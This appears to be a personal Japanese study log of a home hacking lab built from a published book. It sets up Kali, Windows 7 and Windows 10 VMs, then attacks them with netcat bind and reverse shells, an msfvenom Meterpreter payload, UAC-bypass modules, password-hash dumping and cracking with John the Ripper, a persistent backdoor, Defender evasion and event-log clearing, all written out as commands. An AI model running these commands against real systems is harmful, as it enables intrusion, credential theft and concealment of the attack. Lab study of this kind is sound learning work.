Windows10編 2
Windows10編2
ネットワーク構成は以下のよう。
全員が全員からpingが返ってくる理想的な状態。
#### リバースシェルのペイロードで攻撃してみる。 リバースシェルのペイロードを作成する
ペイロードを公開する。
移動できていることを確認する
win10のブラウザからも見れる。公開できた。
WindowsDefenderウイルス対策にダウンロード阻まれる。
リアルタイム保護をオフにする。(この設定はWin11にも存在した。)
リアルタイム保護をオフにすると、保存ー>詳細表示ー>保持する で無理やり保存できるようになった。
リアルタイム保護がオンになっていると怪しいファイルはこっちが許可しても保存すらできない。
Kali側でリバースシェルを待ち受け、Win10でペイロードを踏む
msfconsoleでMetasploitを起動する。
以下の一連の流れを行う。
Win10側でダウンロードしたペイロードを開くと、Sending state...接続が開始する。
sessions -i で、セッションが確立されていることが分かる。(-zオプションを付けたので、セッション確立してすぐmeterpreterプロンプト表示されない)
実験として、win10側のDownloadフォルダ下に、passwords.txtファイルを作成します。
確立できたセッション1につないでみる。
Kaliからターゲット端末(Win10)のDownloadフォルダ下を覗いてみると、passwords.txtがあった!
downloadコマンドでダウンロードできるか。ー>var/www/html/share/passwords.txtに保存したかったけど権限の関係で無理やったらしい。
shareフォルダの権限緩くしてみる。
部外者に書き込み権限ないのが原因?ー>すべてのユーザー(a)に書き込み権限(w)を追加してみる。
ダウンロードできるようになった。
別ターミナルで見に行ってみる。
確かに、var/www/html/share/passwords.txtがあった。ターゲット端末内のファイルを持ってこれた。
中身もちゃんと見れる。
ターゲット端末の現在の画面を遠隔でスクリーンショットできる。
/var/www/html/share/下にスクリーンショットを保存してくれたらしい。
別ターミナルで見に行くと本当に保存されている。
Kaliのファイルシステム(デスクトップにアイコンある)から、/var/www/html/share/画像ファイル閲覧できる。本当にターゲット端末のスクリーンショットが遠隔で撮れる。
今、ターゲット端末内では本当に存在するユーザー(win(win10にログインするときに本当に使用しているユーザー))でログインしていることになっている。
権限昇格を試みるが、失敗する。
一度セッションをバックグラウンドに控えさせ、使えそうな(ランクがExcellentで、比較的新しく作られたもの)モジュールを探す。 今回は「exploit/windows/local/bypassuac_sluihijack」を使います。
以下の手続きを踏みます。
Exploit completed, but no session was created. と出た場合失敗。何回かチャレンジしても失敗した。ー>別のモジュールを使う。
「exploit/windows/local/bypassuac_injection_winsxs」を代わりに使うと、meterpreterプロンプト出現した!バイパス成功。
バイパスが成功したので、SYSTEM権限取得チャレンジー>成功する。SYSTEM権限が取得できたので、ターゲット端末を掌握できた。
このままだと、ターゲット端末が終了すればセッションが閉じる。
ターゲットが再びペイロードを踏んでくれれば再度セッション確立できるが、そのチャンスは二度とないと考えてよい。
そこで、今のうちになるべく早くバックドアを設置しておく。
バックドアが正常に設置できたか確認する。
わざとWin10を終了するー>Kaliでセッションが閉じられてしまうのが確認できる。
いつもの手順でペイロード踏んでくれるの待ち受ける。
この状態でWin10を起動する。
セッション確立されなかったー>バックドア設置失敗してるはず。
Autorunsで確認したいー>VBoxGuestAdditionCD挿入したい。
Win10でデバイスー>GuestAdditionCDイメージの挿入
このようなエラーが出る。仰せのままに。
Win10のストレージ設定ページで、ドライブ追加アイコン(左)をクリック。
GuestAdditionあるのでChoose
VBoxGuestAddition.isoが追加された。
Win10側で、VBoxGuestAdditionが追加されたとメッセージが来るので、インストールしていく。
終わったら再起動される。
この時点でまだホストからファイルコピペできない。
再びデバイスー>GuestAdditionCDイメージの挿入
なぜかWin10落ちた。再起動。
ホストからファイルコピペできるようになった!
そのままデスクトップにすべて展開
Autoruns.exeがあるのでダブルクリックー>agree
左下にReadyが出たら、Fileー>Save
これでAutorunsの設定は完了
バックドアもう一度設置チャレンジしてみる。
SYSTEM権限得て、バックドア設置して、再度待ち構える。
セッション確立されないー>バックドア設置失敗
exploit/windows/local/bypassuac_sdcltを使ってみる。
SYSTEM権限得て、バックドア設置する
C/Users/win/AppData/Local/Temp/MQleIuCYM.vbsというバックドアがターゲット端末内に設置されたと言っている。
Win10側でAutorunsで見てみると、確かにバックドアが設置されている。
しかしバックドア作動しない.....
仕方ないからパワープレー。バックドア設置されるフォルダをMicrosoftDefenderの監視外に設定する。
再度Kaliで待ち構えてWin10状態を保持したまま再起動。ー>セッション確立されない。。。
Windows10編 1
Windows10編
Windows 10 のダウンロード 「ツールを今すぐダウンロード」からダウンロード ダウンロードした「MediaCreationTool21H2.exe」を管理者権限で実行
ファイル名をWindows10.isoにして保存(分かりやすいから)
ダウンロードが始まる(15分程かかる)
「ISOファイルをDVDにコピーしてください」と言われるが、「完了」を押す。
VirtualBoxの「仮想マシン」タブの「新規」を
画像の通りに
初期のまま4Gで次へ
「仮想ハードディスクを作成する」で次へ
デフォルトの「VDI」で次へ
デフォルトの「可変サイズ」で次へ
デフォルトのまま「作成」!
仮想マシン(Windows10)が現れる
仮想マシン右クリック->設定->ストレージで、画像のようになっている(空の仮想マシン)。
仮想マシンを起動して、Windows10.isoを指定(最初はGuestVirtualBox.isoみたいなんしかないから、さっきダウンロードして任意の場所に保存したWindows10.isoを探して選択する必要がある)して「起動」
※Windows10.isoを選択せずデフォルトのままにすると、エラーが出る
Windows10 Setup 64bitを選択して(デフォルトでそうなってる)、Enter
デフォルト(画像まま)で次へ
今すぐインストールをクリック
プロダクトキーがありませんをクリック
Windows10 Pro を選択して次へ
同意して次へ
下の選択肢「カスタム:Windowsのみをインストールする」をクリック
デフォルト「ドライブ0の割り当てられていない領域」を選択し次へ
インストールが始まる->自動で再起動するまで10分程放置、何も押さない
「オフラインアカウント」を選択
制限付きエクスペリエンス
次へ
アカウントを作成する
すべて無効
デスクトップ出るまで進める
一旦Windows10を終了する。
設定から、Windows10.isoを選択し、「仮想ドライブからディスクを除去」
空になればOK。もう一度起動する。
ログイン後デスクトップ画面表示されればOK。
Windows初期設定全4種
1.ライセンスを延長する
Windowsライセンスの猶予期間は30日ですが、(期限超えると機能制限始まる)
slmgr -dlvコマンドを実行すると猶予期限リセット回数が1001回になるため事実上無制限にライセンス使える。
管理者権限でコマンドプロンプト起動し、slmgr -dlvコマンドを実行する
2.GuestAdditionsをインストールする
デバイスー>GuestAdditionsCDイメージの挿入 上手くいかない
3.WindowsUpdateを無効にする
Win7の時と同じだけどP224の通りに行かなかったので、(コンパネ内が仕様変わってる?)
とりいそぎ以下で対応
4.Pingの応答を返すように設定する
P310の通り ホストからゲストOSwin10にping送って返ってくる
5.仮想マシンの設定
一度Win10終了する。 ・双方向 ・チップセットをICH9にする。I/O APICを有効化にチェックが入っていることを確認 ・プロセッサー数を緑枠ギリギリまで上げる ・ビデオメモリーを緑枠ギリギリまで上げる。3Dアクセラレーションの有効化にチェック ・ネットワーク設定を以下のように設定
6.IPアドレスを確認
一度起動する。ipconfigでIPアドレスを確認する。 NATには10.0.2.15、ホストオンリーアダプターには10.0.0.103が割り当てられていることが確認できる
7.NATの疎通を確認
192.168.1.1(ルーター)と8.8.8.8(外部ネットワーク)と疎通できているか確認。
8.ホストオンリーネットワークの疎通を確認
10.0.0.1(ホストOSWin11)と10.0.0.2(Kali)と疎通できている確認。
KaliからホストOSWin10にpingできるか確認。
以上で仮想マシンWin10の設定は終了です。以下よりWin10を攻撃していきます。
Windows7編 1
「ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習」を読み進めており、途中で詰まった点など含め、その過程を備忘録として残させていただいています。
読んでいる本は下の本です。
ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習 | IPUSIRON |本 | 通販 | Amazon
下は、著者のページです。何度も参考にさせていただきました。
よくあるご質問 - 『ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習』サポートサイト
VirtualBoxをインストールする
Downloads – Oracle VM VirtualBox
Windows hosts から VirtualBox-6.1.34a-150636-Win.exe
All supported platforms から Oracle_VM_VirtualBox_Extension_Pack-6.1.34.vbox-extpack をインストール
VirtualBoxExtentionPackをインストールする
- 本の通りやって(VirtualBoxExtentionPackの実行ファイル※末尾がvbox-extpackファイルをダブルクリックで実行するだけで拡張してくれる)、下のようになればOK(同ページから取ってきたからVirtualBoxと同じバージョン)
※2022/11/10追記
ツールー>拡張機能ー>Installー>vbox-extpackファイルを選択ー>以下のように有効になればOK
VirtualBoxにKali Linuxをインストールする
64bit VirtualBox用 3.7G をクリックして、ovaファイル(kali-linux-2022.2-virtualbox-amd64.ova)をダウンロード
整理のためにC:/VM_Guest/VBoxフォルダーを作っておく
ファイル->仮想アプライアンスのインポートをクリック
ソースは「ローカルファイルシステム」、ファイルで、先ほどダウンロードしたKaliLinuxのovaファイルを選択->次へ
名前に適当なものを、仮想マシンの基本フォルダーに先ほど作成したC:/VM_Guest/VBoxフォルダーを指定すると、 VBox下に仮想マシンを作ってくれる。->インポート->同意する->10分程待つ
待機後、仮想マシン一覧にKaliLinx現れる
※2022/11/10追記
KaliLinuxの仮想マシン作成が以前より簡単になってる。
ダウンロードページからもうovaファイルダウンロードできなくなってる。
ダウンロードできるのは圧縮ファイル.7z
7zipで回答すると、kali-linux-2022.3-virtualbox-amd64というフォルダになる
これを仮想マシンが収まっているフォルダ(ファイルー>環境設定ー>一般ー>デフォルトの仮想マシンフォルダから場所確認)ー>に移動させる
VirtualBoxで仮想マシンー>追加ー>kali-linux-2022.3-virtualbox-amd64フォルダ内のkali-linux-2022.3-virtualbox-amd64.vboxファイルを選択
ー>仮想マシン作成完了
※KaliLinux仮想マシンにログインできても画面内でクリックできない場合
Kaliの仮想マシンにおいて起動時に止まる現象を解消する | Security Akademeia【セキュリティアカデメイア】
①コンパネ>プログラム>Windowsの機能の有効化または無効化
②Linux用Windowsサブシステム、Windows PowerShell、仮想マシンプラットフォームのチェックを外す
③必ず再起動
VirtualBoxのホストネットワークマネージャーをいじる
- ファイル->ホストネットワークマネージャーをクリック
※2022/11/10追記
ファイルー>ツールー>NetworkManager
最初からあるVirtual Host-Only Ethernet Adapterは削除
* 新しくVirtual Host-Only Ethernet Adapter という名前で以下の設定をそっくりそのまま作成->適応->閉じる
ホストOSのコマンドプロンプトでipconfigをすると、今ホストOSに追加したばかりの仮想アダプタ(10.0.0.1)が作成されていることが分かる。
KaliLinuxのネットワーク設定をいじる(仮想マシンの仮想アダプターを2枚にする(それぞれがIPアドレスを持つ))
- 仮想マシンを右クリック->設定
- 左のネットワークメニューから、以下の設定をそっくりそのまま
KaliLinuxを起動して設定をいじる(ゲスト側でネットワークの設定をいじる)
起動->id:kali pass:kali でログイン
スクリーンロックを無効にする ドラゴンアイコン->Settings->PowerManager->Displayで以下の設定
ネットワークの設定をいじる
- ドラゴンアイコン->Settings->Advanced Network Configuration
プラスアイコンでとりあえずCreate、ネットワークを2枚にする(中身は今から変えるから一旦適当でOK)
1個目のネットワークを選択して設定マーククリック->設定を以下と全く同じにする
- 2個目のネットワークを選択して設定マークをクリック->設定を以下と全く同じにする
ここまで出来たら、Kaliを再起動する。LANポートアイコンをクリックし、先ほど設定したNATとHost-Onlyの2つのネットワークアダプタが表示されていればOK。
右下の2台のPCが並んだアイコンにカーソルを持って行って、
アダプター1(ホストオンリーアダプター)
IP:10.0.0.2
ケーブル:接続
アダプター2(NAT)
IP:10.0.3.15
ケーブル:接続
のようにIPアドレスがちゃんと設定したとおりに振られていて、接続されていればOK
ターミナルでip aを流す->eth0に10.0.0.2が、eth1に10.0.3.15が割り当てられていたらOK
LANポートアイコンをクリックし、2つのネットワークを一度「disconnect」して、再度クリックして接続させる。
ping 192.168.1.1 ルーターのIPアドレス
ping 8.8.8.8 GoogleのDNSサーバー(インターネットアクセス)
ping akademeia.info インターネットアクセスかつ名前解決
ping 10.0.0.1 仮想ネットワーク上のホストOSのIPアドレス
ping 10.0.0.100 仮想ネットワーク上のDHCPサーバーのIPアドレス
全部帰ってきたら疎通テストはOK、無事ネットワークに繋がっていることが確認できた。
最後に
apt update
で終了。
今回のネットワーク環境はこんな感じ
・日本語キーボード対応
ドラゴンアイコンー>Settingー>SettingManagerー>Keyboadー>Layoutー>UseSystemDefaultsのチェック外すー>KeyboadLayoutのEnglish消してJapanese追加ー>Close
ホストOSのIPだけpingが返ってこないかも(Windows10がそういう設定)(※2022.11.10追記 Windows11は返ってきた)
コンパネ->システムとセキュリティ->WindowsDefenderファイアウォール->詳細設定->受信の規則->画像の2規則の有効化
これでping返ってくるようになるはず。
Windows7の仮想マシンを用意する
Virtual Machines - Microsoft Edge Developer
- 以下の設定で、zipファイルをダウンロードする->展開する
ファイル->仮想アプライアンスのインポートをクリック
名前に適当なものを、仮想マシンの基本フォルダーにKaliLinuxの時と同じC:/VM_Guest/VBoxフォルダーを指定すると、
VBox下に仮想マシンを作ってくれる。->インポート->同意する->10分程待つ
仮想マシンを右クリック->設定->ネットワーク->アダプター1の設定を以下のようにしてOK->起動
コマンドプロンプトでipconfigでこいつ自身のIPアドレス調べる->10.0.0.101と判明
ping 10.0.0.101で最初、応答が返ってこないはず->設定で返ってくるようにする
Control Panel -> System and Security -> Windows Firewall -> Advanced setting -> Inbound Rules -> File and Printer Sharing(Echo Request - ICMPv4-In)が2つあるからどちらもEnabled
KaliLinux仮想マシン起動し、ターミナルで、
ping 10.0.0.1 ホストOS
ping 10.0.0.101 Windows7
のどちらもから応答が返ってくるか確認。今度はWindows7仮想マシンのコマンドプロンプトから
ping 10.0.0.1 ホストOS
ping 10.0.0.2 Kali
のどちらもから応答が返ってくるか確認。
以上でホストオンリーネットワーク内に攻撃端末とターゲット端末を存在させ、通信し合えるようになりました。
※矢印は、ping可能線
ホストOSWindows11からは、全メンバーと通信できる状態、全員からpingが返ってくる。
ゲストOSKaliも、全メンバーと通信できている。
ゲストOSWindows7は、ホストオンリーネットワークは構成できているが、全員と通信できているわけじゃない。
ゲストOSWindows7から外部(google.co.jp/8.8.8.8)へ通信できないのはまだしも、ホストOS(192.168.11.64)に通信できないのは謎
ホストOSはping返す設定になっているはず。なぜならホストOS(192.168.11.64)はKaliにpingを返しているから。
ゲストOSWindows7のファイアウォール設定が怪しいが上記のOutbound版をやっても無理だった。
※余談※ ちなみに、VirtualBoxを使わなくても、同じネットワーク(IPアドレスが192.168.11.○○で、サブネットマスクが255.255.255.0であれば同じネットワーク/仲間と判断される)内の別端末同士で通信pingできる。
Windows7の諸設定
- Windows Updateを停止する(P224そのままできる)
VirtualBox Guest Addition を適用する(P225そのままできるので画像省略) デバイス->GuestAdditionsCDイメージの挿入->数秒待つ->AutoPlay画面が表示されるので、Run VBox Windows Additions.exeを選ぶ->Yes->Next->Next->Install->Install->Install->RebootNow
日本語キーボードのドライバーを適用する(P225そのままできるので画像省略) スタートメニューのコマンド入力欄に「devmgmt.msc」で検索 IE8WIN7->Keyboards->StandardPS/2Keyboardをダブルクリック Driverタブの「UpdateDriver」をクリック 下の「Browse my computer for driver software」をクリック 「Let me pick from a list of device driversw on my computer」をクリック 「Show compatible hardware」のチェックを外し、「Manufacture」で「(Standard keyboards)」を、「Model」で「Japanese PS/2 Keyboard (106/109 Key trl + Eisuu)」を選択し、Next->Yes->Closeで再起動
Control Panel -> Change display language -> Region and Language -> AdministrativeタブのChange system locale... をクリック
Japanese(Japan)を選択してOK->RestartNowで再起動される
再起動後、画面右下でENとJPを選べるようになっていれば成功
SysinternalsSuiteをインストールする(P227そのままできるので画像省略) Sysinternals Suite - Sysinternals | Microsoft Learn
ローカルマシンから仮想マシンへファイルのドラッグアンドドロップをあらかじめ許可しておく
- ダウンロードしたSysinternalsSuite.zipを仮想マシンにドラッグアンドドロップで持ってきてデスクトップに展開(Extract All)
※仮想マシンにドラッグアンドドロップするにはVirtualBox Guest Addition(上)のインストールが必要
その後パソコンを再起動したらドロップできた
一度インストールしたら二度と「GuestAdditionsCDイメージの挿入」クリックできない?
- 展開したAutoruns.exeを実行する
- Autoruns Ready(下) になってSave できるまで 5分ぐらいかかる。
- 保存する。
Netcatのインストール
- Download nc111nt.zip (password:nc) - Netcat for Windows からクリック
- C/Work/を作る->ローカルからnc111nt.zipを連れてきてWork下に解凍(パスワードは「nc」)
- コマンドプロンプトでC/Work/nc111nt/まで移動して、nc.exe(実行ファイル)があるので、そのままそれを「nc.exe -h」で起動
- 「nc.exe -lvp 5555」で、Netcatがポート5555で接続を待ち受けるようにする
- そのまま別窓を開いて「netstat -an」、ポート5555の行があることを確認
→続き
****バインドシェル
* KaliからWindows7への攻撃:Windows7が5555で待ち受けてKaliがそこへ接続する
Windows側で、
nc.exe -lvp 5555
でポート番号5555で待機状態にする。
Kaliで
nc 10.0.0.101 5555
で仮想マシンWindows7(10.0.0.101)のポート番号5555にアクセスすると、、、
Windows側でUNKNOWN(Kali 10.0.0.2のポート54182)からアクセスがありましたと表示される
このように一度貫通させると、
Windows側で先ほどはLISTENINGだったポート番号5555が、ESTABLISHEDになる Kali(10.0.0.2のポート54182から、自分(Win7 10.0.0.102のポート5555))への接続がESTABLISHEDされていることが確認できる。
接続がESTABLISHEDの状態だと、Kali側からもWin側からも相互にメッセージが送れるようになる Kali側で、Ctrl+Cで同時に両方のNetcatも終了できる
以上により、Netcatサーバー(Win)とNetcatクライアント(Kali)で相互にデータをやり取りできることが分かります。
次は、
nc.exe -lvp 5555 -e cmd.exe
で5555を開けて待ってみる。
-e cmd.exe で、 「5555から接続された後、コマンドプロンプトにリダイレクトします」の意になる
Kaliから、先ほどと同じようにWindows7のポート5555にアクセスすると、以下のようにWindows7のコマンドプロンプトにリダイレクトされ(ディレクトリ「C/Work」が表示されていることからも分かりやすい)、「dir」や「ipconfig」など好きにできるー>KaliからWindowsを好きに遠隔操作できる
****リバースシェル
さっきは、「KaliからWindows7への攻撃:Windows7が5555で待ち受けてKaliがそこへ接続する」だった。
Windows7:nc.exe -lvp 5555 -e cmd.exe
Kali:nc 10.0.0.101 5555
今度は、その逆、
* KaliからWindows7への攻撃:Kaliが5555で待ち受けてWindows7がそこへ接続する
Kali:nc -lvp 5555
Windows7:nc.exe 10.0.0.2 5555 -e cmd.exe
互いにpingで通じ合っているなら、どちらが待ち受けても(バインドシェルでもリバースシェルでも)ターゲットのコマンドプロンプトにアクセスできる。
バインドシェルは通常の方向(攻撃するほうからされるほう)
リバースシェルは逆方向(攻撃されるほうからするほう(しかもされるほうが-eオプション付ける))
- Metasploit Framework Kaliに標準でインストールされている、ハッキングツール
Kali側で、
msfconsole
でMetasploit Frameworkのコンソールを起動する msf6 > となればコンソール起動できてる
banner
コマンド実行で、適当なバナーが出る
show exploits
で、攻撃プログラムを一覧する excellent が最上級の攻撃プログラム
・検索
search type:payload reverse_tcp platform:windows
で、「Windwos向け」「TCP型のリバースシェル」「ペイロード」を検索 (※)上から2つ目のTCP Stagerで今回は攻撃する
ウイルスファイルを作って公開する
Kali側で、ペイロード(evil.exe)を(/root/evil.exe)に作成する
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /root/evil.exe
約):「windows/meterpreter/reverse_tcp」を使った、「10.0.0.2」のデフォルトポート4444宛に勝手にアクセスしてしまう、「evil.exe」というファイルをroot直下に作りなさい
こうなれば成功
※本には以下のように書いてある
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /root/Desktop/evil.exe
Permission Denied と No such Directory と言われたので、勝手に変えてみた
別のTerminal を開く
/var/www/html に「share」というディレクトリ(evil.exe(ウイルスファイル)公開専用ディレクトリ)を作る
※本ではsudo は付いてなかったがPermission Deniedと言われたので勝手につけた
先ほどroot直下に作成したevil.exeを、このshareディレクトリにコピーする
※本ではsudo は付いてなかったがPermission Deniedと言われたので勝手につけた
shareディレクトリの権限を緩める
世界中誰でもブラウザからshareディレクトリの中が見えて、evil.exeウイルスファイルをダウンロードできるようにしておく
※本ではsudo は付いてなかったがPermission Deniedと言われたので勝手につけた
Apacheを再起動して、外部からevil.exeにアクセスできるようにする
share直下で、service apache2 restart ※Passwordは「kali」だった
Windows7側で、
http://10.0.0.2/share
でevil.exe見れる!
携帯とか使用のパソコンのブラウザでも見れる!
公開したウイルスサイトを誰かが踏んでくれたときのためにKali10.0.0.2側で待ち受ける
以下の手順 use exploit/multi/handler
色々聞かれるので、以下のように答える
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.2
show options
exploit
で実行ー>誰かがウイルスファイル踏んでくれるの待ちの状態にする
Win7のブラウザからわざとウイルスファイル踏んでみる
一見何も起こらないが、、、
Sending Stageとあるー>誰かが踏んでくれたよ!!
meterpreterというプロンプトが現れるー>ここからWin7の中身やりたい放題
ls とか dir とかで中身見れたりする、色々やってみて
Win7の方で
netstat -n | find "ESTABLISHED"
をすると、、、
10.0.0.101(自分)と、10.0.0.2のポート4444が勝手に接続されてるのが分かる!
パスワードを解析しよう
->続き
前回のあらすじ:ウイルスファイルを踏んでもらって、相手に接続することに成功した。 誰かが罠を踏むと、Kali側で待ち構えていればmeterpreterプロンプトが現れる!
run hashdump
を行う
Access is denied になる。Win7での権限が低いことが原因
そこで、
getsystem
を試す(Meterpreterに入っているSYSTEM権限への昇格を試みるコマンド)
失敗する
ここは一度他の手を使う必要があるー>せっかくつないだセッションを切るのはもったいないから、
background
で一度Meterpreterセッションをつないだままバックグラウンドに引かせる
sessions -i
で、裏に控えてるセッション一覧が見れる
もし控えてるセッションがあれば、
sessions -i <セッションのID>
で復帰(表に再び出させる(Meterpreterプロンプト再出現))させられる
バイパス(bypassuac)を使う
一度セッションを裏に引いておく
バイパスを使う
use exploit/windows/local/bypassuac
オプションを確認(一応?)
show options
既存のセッションのIDを設定する(今はなぜか2なので2を設定)
set SESSION 2
set payload windows/meterpreter/reverse_tcp
reverse_tcpを設定
set LHOST 10.0.0.2
show options
自分のIPアドレスを設定して、 オプション確認(一応?)
exploit
で実行!!
meterpreterプロンプトが現れたら成功!!
まとめると
今回やったのは、
Metasploit Frameworkを使って(「msfconsole」で起動し、冒頭が「msf6 >となっている」)、
ウイルスファイルを公開し、それを誰かが踏むまでKaliが待ち受ける攻撃方法
Kaliの待ち受け方としては、
exploit/multi/handlerを使う方法
- msfconsole
冒頭が「$」から「msf6 >」に変わる - use exploit/multi/handler
冒頭が「msf6 >」から「msf6 exploit(multi/handler) > 」に変わる - set payload windows/meterpreter/reverse_tcp
- set LHOST 10.0.0.2
- exploit
ファイル踏まれるとセッションゲットできて、meterpreterプロンプト現れる
これでは権限がザコい!
exploit/multi/handlerで得たセッションを一度裏に控えさせて、これを利用して(セッションIDだけ暗記しておく(裏に引いている状態で「sessions -i」で確認可能))
exploit/windows/local/bypassuacで更にバイパスをつなぐ
- background(ザコ接続を裏に控えさせる)
- sessions -i(ザコ接続のセッションIDを見て覚える)
- use exploit/windows/local/bypassuac
冒頭が「msf6 exploit(multi/handler) > 」から「msf6 exploit(windows/local/bypassauc) > 」に変わる
[ - set SESSION 1(ザコセッションID)
- set payload windows/meterpreter/reverse_tcp
- set LHOST 10.0.0.2
- exploit
meterpreterプロンプト現れたら成功!
上の続き、
bypassuacをexploitで初めて、meterpreterプロンプトが現れたら、
getuid
で今の権限確認
getsystem -t 1
で権限状況を試みる
getuid
でSYSTEM権限を得たことを確認
前回の続き
バイパスでSYSTEM権限に昇格できたら、
run hashdump
でパスワードハッシュをダンプする
がここでArgumentError発生する
run post/windows/gather/smart_hashdump GETSYSTEM=true
で解決できた。
「Dumping password hashed...」から下4行をコピーする
root直下に、
sudo vi hash.txt
で「hash.txt」を作成し、
i(insertモード)
中身に先ほどのクリップボードをペーストし、
esc(insertモード終了)
:wq(保存して終了)
cat hash.txt
で確認すると、ちゃんとペーストできてる
相手のパスワードハッシュファイル(hash.txt)をこちら側に用意できたら、Kaliに入っているパスワードクラッカー「John the Ripper」を使ってパスワードをクラックしていく
john hash.txt --show
-> 0 password hashed cracked, 4 left と出るはず
john --wordlist=/usr/share/john/password.lst --format:nt hash.txt(「/usr/share/john/password.lst」を参考に、「hash.txt」を解析せよ)
で解析を実行
john hash.txt --show
hash.txtが4行ともクラックされ、残り0行であると教えてくれるー>パスワード解析終了
/usr/share/john/password.lstには、パスワード大辞典(password.lst)がデフォルトで置いてある(辞書式攻撃用)
これをroot直下にコピーしてくる
"Passw0rd!"を追記してみる
今度は、
john --wordlist=password.lst --format:nt hash.txt(「password.lst(新)」を参考に、「hash.txt」を解析せよ)
「Administrator」というアカウントのパスワードが、「Passw0rd!」であることが分かった!
証拠を消す
一度bypassuacのセッションを裏に控えさせて、全体のセッションを確認してみる(background -> sessions -i)
handlerのザコセッションがひとつと、その後のバイパスセッションがひとつ確認できる
攻撃されてる側(Win7)では、攻撃を受けている感はないが、実はタスクマネージャーでは、evil.exeと表示されてしまっている
sessions -k 1
でザコセッションを切断すると、、、
攻撃されてる側(Win7)のタスクマネージャでevil.exeが消えた->攻撃がばれにくくなる
sessions 2
一度セッション2(バイパスのセッション)に戻る
悪魔のシステム情報収集コマンド
run scraper
を実行する
※7分くらいかかる
shell
で、攻撃先のコマンドプロンプトを使えるようになる
冒頭が「meterpreter」から「C:/Windows/system32」になる
Windowsには、WMIというWindowsシステムを管理するためのインターフェースが備わっている
WMIを利用すると、Windowsのシステムの内部情報にアクセスできる
wmin -> WMIにアクセス
例
wmin startup
で自動起動の内容を列挙できる
攻撃先に起動時自動的にペイロード起動させるように無理やり設定する(永続的バックドアを設置する)
攻撃先、もう二度とウイルスファイルを踏んでくれないかもしれない(もう二度とペイロード起動してくれて、セッションが確立されないかもしれない)
だからセッションが確立している間に、Windows7の起動時に自動でペイロードを実行するように設定しておくべき。
Meterpreterプロンプトに用意されている
run persistenceコマンドを用いる
run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p 4444 -r 10.0.0.2
実際にWindows7側でどのような設定がされたのか確認する
Autorunsを起動する
※左下がReadyになるまで5分くらいかかる。
File->Compareから、Windows7がまっさらの時に保存しておいた状態ファイル(Autoruns_Baseline_20220701.arn)と今を比較する->当時との差分を見てみる
なにやら1点だけ差分が出ている
C:/Users/IEUser/AppData/Local/Temp/dgxBVTPkgjnqz.vbsというファイルができているので、見に行ってみる。
難読化されていて、ソースコードが読み取れないようになっている。
果たして、Windows7とのセッションが一度切れてしまっても、Windows7が再び起動されたらウイルスファイルを踏むことなくセッションが復活するのか?
Kaliで待ち伏せ、Windows7でわざとウイルスファイルを踏んでセッションが確立した後、生きているセッションを確認するともちろん2つある。(1つはザコセッション、2つめはバイパスセッション)
バックドアを設置したあと、試しにWindows7をシャットダウンしてみる
すると当然、
Meterpreter session 1 closed. Reason : Deid.
でセッションが切れる。
画像はセッションが2つあることを確認した後Windows7をシャットダウンし、セッションが2つとも切断されることを確かめている
セッションが切れてしまったので、ザコセッションを待ち受ける準備だけする。
Windows7を起動してみる、、、
起動した瞬間、セッション繋がった、、、
run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p 4444 -r 10.0.0.2
で、「-i 60」としていたので、60秒ごとにセッション確立を試みる設定になってる
以上で、ターゲットに永続的なバックドアを設置できた。
ログを削除する
Windowsシステムのログは、「Event Viewer」というソフトで確認できる。
今、バックドアを通ってザコセッションが繋がっているので、いつも通りバイパスセッションに繋ぎなおし、システム権限を奪う。
システム権限を奪えたら、その状態で、
clearev
攻撃先のログを削除する
Event Viewerを見てみると、ログが消されたログ以外全て消えてしまっている。